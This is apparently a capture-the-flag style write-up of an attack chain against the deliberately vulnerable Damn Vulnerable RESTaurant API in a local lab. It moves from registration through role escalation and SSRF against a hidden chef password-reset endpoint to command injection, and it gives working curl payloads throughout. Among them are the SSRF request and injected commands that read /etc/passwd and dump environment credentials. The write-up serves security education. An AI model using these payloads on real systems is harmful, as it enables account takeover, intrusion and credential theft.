Damn Vulnerable RESTaurant: The Full API Attack Chain from Anonymous Visitor to In-Container RCE
Target: theowni/Damn-Vulnerable-RESTaurant-API-Game Tech stack: FastAPI + PostgreSQL + SQLAlchemy + JWT, fully containerized deployment Attack chain: anonymous registration → BFLA privilege escalation → SSRF → account takeover → command injection RCE Coverage: almost the entire OWASP API Security Top 10 (2023) menu
TL;DR
This is a pure API target (no front end, only JSON in and JSON out). The author's stated design is "escalate from the lowest-privilege user all the way to root, along a single path." This writeup fully documents how I go from an anonymous visitor, chaining seven interlocking vulnerabilities, to finally achieving arbitrary command execution inside the server container.
The heart of the whole attack chain isn't any single high-difficulty vulnerability, it's vulnerability chaining: several flaws that individually look "low severity" or even "harmless" combine into a critical-level full takeover. That's exactly what makes this target worth studying.
The full kill chain:
- Anonymous registration to obtain a low-privilege identity
- JWT reconnaissance, confirming the role lives in the database rather than the token
- BFLA (Broken Function Level Authorization) self-escalation to a mid-tier privilege
- Digging out a hidden endpoint that's "buried in the docs"
- That endpoint uses "is the source IP localhost" as its authorization
- SSRF to make the server itself bypass the source check, and exfiltrate the secret back through an echo channel
- After obtaining the highest privilege, triggering command injection (RCE)
0. Environment Setup
The author provides two modes: Developer (an interactive game where you fix the bugs) and Ethical Hacker (black-box bug hunting). We take the latter.
git clone https://github.com/theowni/Damn-Vulnerable-RESTaurant-API-Game.git
cd Damn-Vulnerable-RESTaurant-API-Game
./start_app.sh
The service runs on http://localhost:8091 by default. Following FastAPI convention, it exposes three auto-generated interfaces:
- Swagger UI:
/docs - Redoc:
/redoc - OpenAPI spec:
/openapi.json
At startup the logs run three Alembic migrations, and two of them, Added reset password fields and Added referrals, are the first batch of clues for later recon, the service is literally telling you which feature modules it has.
As for thaterror reading bcrypt versiontraceback at startup, you can ignore it. It's flagged(trapped)right before it, an old issue where passlib 1.7.4 collides with bcrypt 4.x reading the version number; the hashing functionality works perfectly fine.
1. Recon: Flattening the Attack Surface
FastAPI's biggest "feature" is a gift to an attacker: it draws you the complete map. Rather than clicking around in /docs, just squeeze the spec into a single list:
curl -s http://localhost:8091/openapi.json | jq -r '
.paths | to_entries[] | .key as $p | .value | to_entries[]
| "\(.key|ascii_upcase)\t\($p)\t\(.value.summary // "")"'
With all 21 endpoints in hand, I grouped them by "attack-surface semantics":
| Group | Endpoint | Attack intuition |
|---|---|---|
| Auth surface | /token, /register, /reset-password, /reset-password/new-password |
Broken Auth, token predictability |
| Carries an object identifier | /orders/{order_id}, /menu/{item_id} |
BOLA (object-level IDOR) |
| Your own resources | /profile (GET/PUT/PATCH), /orders, /referral-code |
Mass Assignment, excessive exposure |
| Looks privileged | PUT /menu, /admin/stats/disk, /users/update_role |
BFLA, privilege escalation |
Two of them I flagged red immediately: PUT /users/update_role (the name literally says "change role state") and GET /admin/stats/disk ("disk usage", a number that programs often go grab by directly calling an OS command, which is the classic scent of command injection).
Key realization: pure API, no front end. This actually forces you to build the right muscle memory, reasoning directly about the API without looking at a screen. In the real world a huge number of targets are decoupled front end and back end, where the front end is just a "client that can be bypassed." Every check the front end performs (hiding fields, disabling buttons, format validation) can be ignored outright at the API layer.
A stroll through Swagger shows: the vast majority of endpoints have a lock (require a token); only /register is unlocked. This dividing line matters, but first you need to dispel a rookie misconception:
"Having a lock" only means "you need a valid token before it'll listen to you" (authentication); it does not mean authorization was done right. The real attack isn't "picking the lock", it's legitimately obtaining a low-privilege key and then using it to try every door, seeing which doors shouldn't actually open for me.
2. Entry: Anonymous Registration and a "Valuable Failure"
/register is the anonymous entry point. Observing its request and response schema surfaces the first experiment:
request takes : username, password, phone_number, first_name, last_name
response returns : username, phone_number, first_name, last_name, role ← role appears
role shows up in the response but isn't in the request schema. This is a textbook Mass Assignment (API3 / BOPLA) test point: a schema is "the contract the docs claim," not "what the back end actually does." The docs say it only takes five fields; that doesn't mean the back end truly honors only those five. So I curl manually and deliberately stuff in an extra role:
curl -s -X POST http://localhost:8091/register \
-H 'Content-Type: application/json' \
-d '{
"username": "rou_test",
"password": "Passw0rd!123",
"phone_number": "0900000000",
"first_name": "rou",
"last_name": "test",
"role": "admin"
}'
Response:
{"username":"rou_test","phone_number":"0900000000","first_name":"rou","last_name":"test","role":"Customer"}
It ignored the admin I injected and forced me to Customer. This mass assignment was blocked.
But this isn't a failure, it's a valuable negative result. In real bug hunting, eighty percent of your time is spent gathering exactly these results, crossing the attack surface off one cell at a time. More importantly: I picked up a legitimate Customer account rou_test in the process. Ticket in hand, that whole pile of locks now has a key.
3. Dissecting the JWT: The Intel That Decides the Whole Route
Log in for a token (note FastAPI's /token eats form-urlencoded, not JSON):
curl -s -X POST http://localhost:8091/token \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d 'username=rou_test&password=Passw0rd!123'
Once you have the token, dissect it by hand first, build the habit of never pasting a token into an online tool:
echo "$TOKEN" | cut -d. -f1 | base64 -d 2>/dev/null; echo # header
echo "$TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null; echo # payload
{"alg":"HS256","typ":"JWT"}
{"sub":"rou_test","exp":1783665857}
Here is a discovery that shapes the entire attack route: there is no role in the payload, only sub (who you are) and exp (when it expires).
The inference is crucial: the token itself carries no privileges, it only proves "I am rou_test." So when I hit an endpoint that requires high privileges, the back end can't possibly determine from the token whether I'm an administrator; it must take sub and query the database live for the role.
This forks into two lines of thought:
- Forging the token (set aside for now):
algisHS256(symmetric), and the classic play is to crack the secret and self-sign a token. But since there's no role in the payload to tamper with, even a successful forgery only lets you impersonate a different username, which has limited value. Incidentally, inconfig.pytheJWT_SECRET_KEY, if no environment variable is set, is randomly generated, exists only in memory, and even changes on every restart, so this path has an extremely low payoff. - Changing the role in the database (the main line): since the truth of privileges lives in the DB, and the system happens to expose a
PUT /users/update_rolededicated to changing that very column, the main line of attack emerges here.
A lesson on symmetric vs. asymmetric: HS256 uses the same secret to sign and verify, so "a weak secret can be cracked offline" is always something to try when it shows up in production (hashcat -m 16500 or jwt_tool). RS256 signs with a private key and verifies with a public key, so even with the public key you can't sign anything, and it doesn't have this weakness. This target doesn't need it, but take that judgment habit with you.4. BFLA: Guarding the Threshold, Missing the Middle Tier
Dissecting PUT /users/update_role, its security field only declares "requires a token"; nowhere can it declare "which role is required", because OpenAPI's security can't express "must be an administrator." That role check, if it exists at all, can only be a hand-coded if in the back end, and whether it's there or not isn't visible in the spec, you can only find out by actually firing a request. This is exactly why BFLA must be verified hands-on.
The body schema UserRoleUpdate requires username + role, note that it changes "some username I name," not one hard-bound to myself, which means that without an authorization check I could change anyone's role.
My first shot bet on Admin, and the result was a 500 Internal Server Error. Since I have the god's-eye log view, I read the traceback directly:
sqlalchemy.exc.DataError: (psycopg2.errors.InvalidTextRepresentation)
invalid input value for enum userrole: "admin"
LINE 1: UPDATE users SET role='admin' WHERE users.id = 7
This line makes four things clear at once:
- Authorization blocked nothing at all, the request passed through the lock, through validation, all the way to the final step of "issuing an UPDATE against the DB", with the SQL already assembled and sent to PostgreSQL for me.
- The cause of death isn't that the vulnerability doesn't exist, it's a wrong value: role in the DB is an enum type
userrolethat only accepts predefined strings. - It also leaked that my internal id is 7.
An important trap: a 500 masks the real authorization behavior. A crashed request can't be used as evidence of "authorization didn't block", we'll hit this again later.Check the source to confirm the enum's legal values:
grep -rniE "class (User)?Role" app --include=*.py
grep -rniE "Admin|Chef|Employee|Customer" app --include=*.py
The result reveals a beautiful trap:
# app/db/models.py
class UserRole(str, enum.Enum):
CHEF = "Chef"
EMPLOYEE = "Employee"
CUSTOMER = "Customer"
The highest privilege in this system isn't called Admin, it's Chef. The admin in /admin/stats/disk is just a URL path string, not a role name, I nearly got led astray by the path name.
Switch to Chef and send again:
{"detail":"Only Chef is authorized to add Chef role!"}
This overturned part of my assumption, and that's a good thing. The authorization check does exist, it's just targeted: it specifically guards "escalating to Chef." So what about the middle tier?
curl -s -X PUT http://localhost:8091/users/update_role \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-d '{"username":"rou_test","role":"Employee"}'
{"username":"rou_test","role":"Employee"}
Hit. A Customer used its own token to escalate itself to Employee.
The classic BFLA lesson: when developers write authorization checks, their minds are fixated on "protecting the highest privilege," so they only block Customer→Chef and forget that Customer→Employee is also a privilege violation. Whenever you see any tiered privilege system, your reflex should be "don't only test jumping to the top, test every rung, the guard usually only bothers to watch the topmost cell."
Verify the new privilege actually works (creating a menu item, which a Customer couldn't do before, now goes through):
curl -s -X PUT http://localhost:8091/menu \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-d '{"name":"rou_test_dish","price":100,"category":"main","description":"test"}'
Returns 200. This also nails down that JWT inference: the same old token, never reissued, yet the back end let it through, because it took sub, queried the DB live, and found I'm now an Employee.
5. The Hidden Endpoint: A Counterexample of Security Through Obscurity
The finish line is Chef, but I'm stuck on "only a Chef can grant the Chef role." Since I can't escalate myself up, switch targets, seize the Chef account that was seeded at system initialization.
Tracing settings.CHEF_USERNAME from the source, one dig unearths the core of the main line:
app/config.py:30: CHEF_USERNAME = os.getenv("CHEF_USERNAME", "chef")
app/apis/admin/services/reset_chef_password_service.py ← a "reset chef password" service!
app/tests/.../test_admin_service.py:
test_reset_chef_password_unauthorised_returns_403
test_reset_chef_password_from_localhost_returns_200 ← a clue to the authorization logic
The Chef account is called chef. And those two test names leak the authorization logic completely: this password-reset endpoint decides authorization by "whether the request comes from localhost," not by role.
Read out the full implementation:
# app/apis/admin/services/reset_chef_password_service.py
# it's excluded from the docs to make it more secure ← the comment itself
@router.get("/admin/reset-chef-password", include_in_schema=False)
def get_reset_chef_password(request: Request, db: Session = Depends(get_db)):
client_host = request.client.host
if client_host != "127.0.0.1":
raise HTTPException(403, "Chef password can be reseted only from the local machine!")
characters = string.ascii_letters + string.digits + "!@#$%^&*()_-+=;:[]"
new_password = "".join(secrets.choice(characters) for i in range(32))
update_user_password(db, settings.CHEF_USERNAME, new_password)
return {"password": new_password} ← the generated password is returned straight to the caller!
Three fatal points:
include_in_schema=False: this one doesn't appear in/openapi.json, no wonder it wasn't in that list of 21. The comment even says "excluded from the docs to make it more secure", this is the textbook counterexample of security through obscurity. Hiding it only makes a black-box tester work a bit harder; it provides zero protection against anyone who actually gets in. In the real world these "not listed in the docs but actually present" endpoints are extremely common, which is exactly why you need to fuzz spec-unlisted paths with ffuf/wordlists.- Authorization =
request.client.host != "127.0.0.1": using source location as authorization. - An enormous bonus: the password is generated by the server itself as a 32-character random value, then
return {"password": ...}returns it directly. No need to set the password yourself, no need to deal with a reset code, as long as you successfully call it, it spits the new password out to you.
6. SSRF: Borrowing the Server's Hand to Bypass the Source Check
Hitting this endpoint directly gives, as expected, a 403:
curl -s -i http://localhost:8091/admin/reset-chef-password
# HTTP/1.1 403 Forbidden
# {"detail":"Chef password can be reseted only from the local machine!"}
A key technical distinction, this endpoint reads request.client.host, not an HTTP header.
- If the code read a header (
X-Forwarded-For,X-Real-IP…), the client fully controls it, and stuffing inX-Forwarded-For: 127.0.0.1would bypass it, this is the most common variant. - But in Starlette/uvicorn,
request.client.hostis taken from the peer IP of the actual TCP connection's socket. When an external curl comes in, the source is the Docker bridge's gateway IP, and stuffing a header has no effect.
To make the source genuinely equal 127.0.0.1, you essentially need the packet to be emitted from inside the server, and this is where SSRF comes into play:
Is there some feature on this server that will "make a request for you," with a target URL you can control? If so, tell the server to hit http://127.0.0.1:8091/admin/reset-chef-password. The server hitting itself = the source is 127.0.0.1 = bypass.Back to grep for the fingerprint of "the server actively sends a request":
grep -rniE "requests\.(get|post)|httpx|urllib|urlopen" app --include=*.py | grep -iv test
The suspect reveals itself, the menu's image feature:
# app/apis/menu/utils.py
def _image_url_to_base64(image_url: str):
response = requests.get(image_url, stream=True) ← GETs whatever URL you give, no allowlist
...
# when creating/updating a menu item:
image_url = menu_item_dict.pop("image_url", None)
if image_url:
db_item.image_base64 = _image_url_to_base64(image_url)
The image_url field is not in MenuItemCreate's required list, but the back end accepts it (once again "not spelled out in the schema ≠ not accepted by the back end"). The back end takes it verbatim and requests.gets it, with no allowlist, no blocking of internal networks, no blocking of localhost, and this request is emitted by the web container itself, so the source is precisely the container's 127.0.0.1.
The full bypass chain, with one exquisite finishing touch:
I (external) hit the reset endpoint → blocked by the 127.0.0.1 check
Instead set menu's image_url = http://127.0.0.1:8091/admin/reset-chef-password
→ the server, in order to "fetch the image," GETs that reset URL itself
→ the reset endpoint sees the source is 127.0.0.1 → allows it → generates a new password
→ the {"password":...} returned by reset is treated by menu as "image content"
→ menu base64-encodes it, stores it in image_base64, and returns it to me
→ I base64-decode → obtain chef's new password
The data returned by the SSRF is neatly exfiltrated through this "fetch image → store base64 → return" pipeline. Wiring the SSRF onto the image feature is a very elegant design.
Assemble the shot (my identity is now Employee, so I can create menu items):
curl -s -X PUT http://localhost:8091/menu \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-d '{"name":"ssrf_pwn","price":1,"category":"main","description":"ssrf",
"image_url":"http://127.0.0.1:8091/admin/reset-chef-password"}' \
| jq -r '.image_base64' | base64 -d; echo
Output (the password differs every run since it's randomly generated):
{"password":"r#7G85:EOd_bHjdupN]adyAOA8It3wFR"}
Why can the SSRF obtain the plaintext password, and not just "change it"? You have to separate two things: "changing the password" and "knowing what it was changed to" are different capabilities. A normal reset flow mails the new password to the account owner's inbox, and even if an attacker triggers it they can't see it, which at most is a DoS (locking chef out). The fatal error of this endpoint is that it returns the generated password directly to whoever made the request. So the full causal chain is: SSRF gives you "access" (the ability to reach an internal endpoint you couldn't otherwise touch), and that endpoint's separate information-disclosure flaw of "returning the secret" is what upgrades "changing the password" into "knowing the password and taking over the account." Two holes stacked together are what make a one-step summit possible.
7. Reaching the Summit and Command Injection (RCE)
Log in as chef with the new password (the password contains special characters, so use --data-urlencode to keep the shell/URL from eating them):
CHEF_TOKEN=$(curl -s -X POST http://localhost:8091/token \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'username=chef' \
--data-urlencode 'password=r#7G85:EOd_bHjdupN]adyAOA8It3wFR' \
| jq -r '.access_token')
Dissect to verify {"sub":"chef",...}, then open that door that was locked the whole time:
curl -s -H "Authorization: Bearer $CHEF_TOKEN" http://localhost:8091/admin/stats/disk
{"output":"Filesystem Size Used ... /dev/sdd 1007G 243G 713G 26% /app"}
Summit reached. But that "output" key plus verbatim df -h output is the fingerprint of command execution. Trace the source:
# app/apis/admin/utils.py
def get_disk_usage(parameters: str):
command = "df -h " + parameters # ① string-concatenates user input
result = subprocess.run(command, ..., shell=True) # ② shell=True
# app/apis/admin/services/get_disk_stats_service.py
def get_disk_usage_stats(current_user, parameters: str = "", ...): # ③ parameters is a query string, controllable
if current_user.role != UserRole.CHEF.value: ...
usage = get_disk_usage(parameters)
All three ingredients of command injection are present at once: user input concatenated as a string into the command, shell=True (making all shell metacharacters live), and parameters being a controllable query string. The command is df -h <input>, so just stuff in a ; and you can append your own command after it:
curl -s -G "http://localhost:8091/admin/stats/disk" \
-H "Authorization: Bearer $CHEF_TOKEN" \
--data-urlencode 'parameters=; id' | jq -r '.output'
After the df output comes an extra uid=..., RCE confirmed. Gathering further:
# who, and where
--data-urlencode 'parameters=; whoami; hostname; pwd'
# read any file
--data-urlencode 'parameters=; cat /etc/passwd'
# dig out environment variables (the real treasure)
--data-urlencode 'parameters=; env'
env scoops up the full DB credentials:
POSTGRES_USER=admin
POSTGRES_PASSWORD=password
POSTGRES_SERVER=db
POSTGRES_PORT=5432
Even without breaking out of the container, this set of credentials already lets me connect directly to the same-subnet PostgreSQL, with full read/write over the whole database, scooping up every password hash, changing anyone's role, tampering with orders.
RCE is the apex of the vulnerability pyramid: once you have command execution, every other hole becomes a footnote.
8. Container-Escape Recon: An All-Negative Lesson in "Defense in Depth"
Having obtained RCE inside the container, a red teamer's standard next question is "can I escape to the host?" Run through the standard escape checklist:
Am I container root? No, /etc/passwd shows the service runs as app (uid 1000), non-root. Most classic escapes require root inside the container, and this step alone knocks out a big chunk of the paths.
Is the Docker socket mounted in? (the number-one escape shortcut)
--data-urlencode 'parameters=; ls -la /var/run/docker.sock 2>&1'
# ls: cannot access '/var/run/docker.sock': No such file or directory
Nope.
Is it privileged / are there dangerous capabilities?
--data-urlencode 'parameters=; cat /proc/self/status | grep -i cap; ls -la /dev | head'
# CapEff: 0000000000000000 ← effective capabilities all empty
# /dev has only minimal char devices like autofs/core/full, no /dev/sd* block devices
CapEff=0 means this process has zero effective Linux capabilities (because it runs de-privileged). Escapes relying on the likes of CAP_SYS_ADMIN are all off the table. No block devices in /dev + CapEff=0 → ironclad proof it's not privileged.
A quick mental shortcut for judging privileged: a privileged container'sCapEffis a long string offs (like0000003fffffffff), andls /devshows the host's whole row of block devices (/dev/sda…).
Are there any host bind mounts? Only a clean overlay, with nothing like /host or /root mounted in.
Conclusion: this target cannot be escaped, and that's the intended correct outcome by design, not a matter of not hitting hard enough.
I hold RCE inside the container plus a completely fallen service layer (chef, DB credentials, arbitrary commands), yet the host is untouched. This is a living demonstration of defense in depth:
Containerization is an effective defensive boundary. The application layer being breached (RCE) does not equal the host falling. A correctly configured container (non-root, no socket mount, non-privileged, no extra mounts/caps) can pin the blast radius of an RCE firmly inside the container. DVRA demonstrates what a container should look like, and real-world escape opportunities always come from deviating from this correct setup: running the service as root, mountingdocker.sockin for convenience, reaching for--privilegedto save trouble, bind-mounting host directories in, an outdated runc (like CVE-2024-21626). Once you've seen the baseline of what "normal" looks like, you'll be able to spot the anomalies later.
The Complete Kill Chain
| # | Vulnerability | Location | OWASP API 2023 |
|---|---|---|---|
| 1 | Anonymous registration (entry) | POST /register |
— |
| 2 | JWT carries no role, privilege stored in DB | /token issuance |
API2 Broken Auth |
| 3 | BFLA / incomplete authorization | PUT /users/update_role |
API5 |
| 4 | Hidden endpoint (obscurity) | GET /admin/reset-chef-password |
API9 Improper Inventory Management |
| 5 | Source-based access control | same as above, client.host=="127.0.0.1" |
API1 / API5 |
| 6 | SSRF + data echo | menu.image_url allowlist-free requests.get |
API7 SSRF |
| 7 | Command injection (RCE) | df -h + parameters, shell=True |
API8 Misconfiguration → RCE |
Two meta-themes run through the whole thing:
- Misplaced trust boundaries: #3 trusts "if it's not the highest privilege, we're fine"; #5 trusts "the source IP"; #6 trusts "image_url is benign." Every hole treats something that shouldn't be trusted as trustworthy.
- Vulnerability chain > single point: #5 alone is "localhost only, low severity"; #6 alone is "image-fetch SSRF, medium severity", but chained together they're a critical-level account takeover. Top bug hunters routinely file criticals not because they found a harder single hole, but because they can see the interfaces between hole and hole.
Closing
DVRA compresses an entire modern API attack surface into one small target: the authorization gaps of BOLA/BFLA, the serialization boundary of mass assignment, the location shift of SSRF, the RCE of command injection, and finally a correctly configured container demonstrating defense in depth.
The most worthwhile takeaway isn't any single payload, it's the mindset shift: treat every vulnerability as something that "changed a premise," then go find "which other vulnerability's existence depends precisely on the premise I just overturned." That's how a vulnerability chain grows, and that's exactly the watershed that elevates "can exploit" into "can assess, can write reports, can articulate impact."
This article is an educational writeup of the DVRA target; all operations were performed in an isolated local environment. Never perform any testing against systems you are not authorized to test.
Member discussion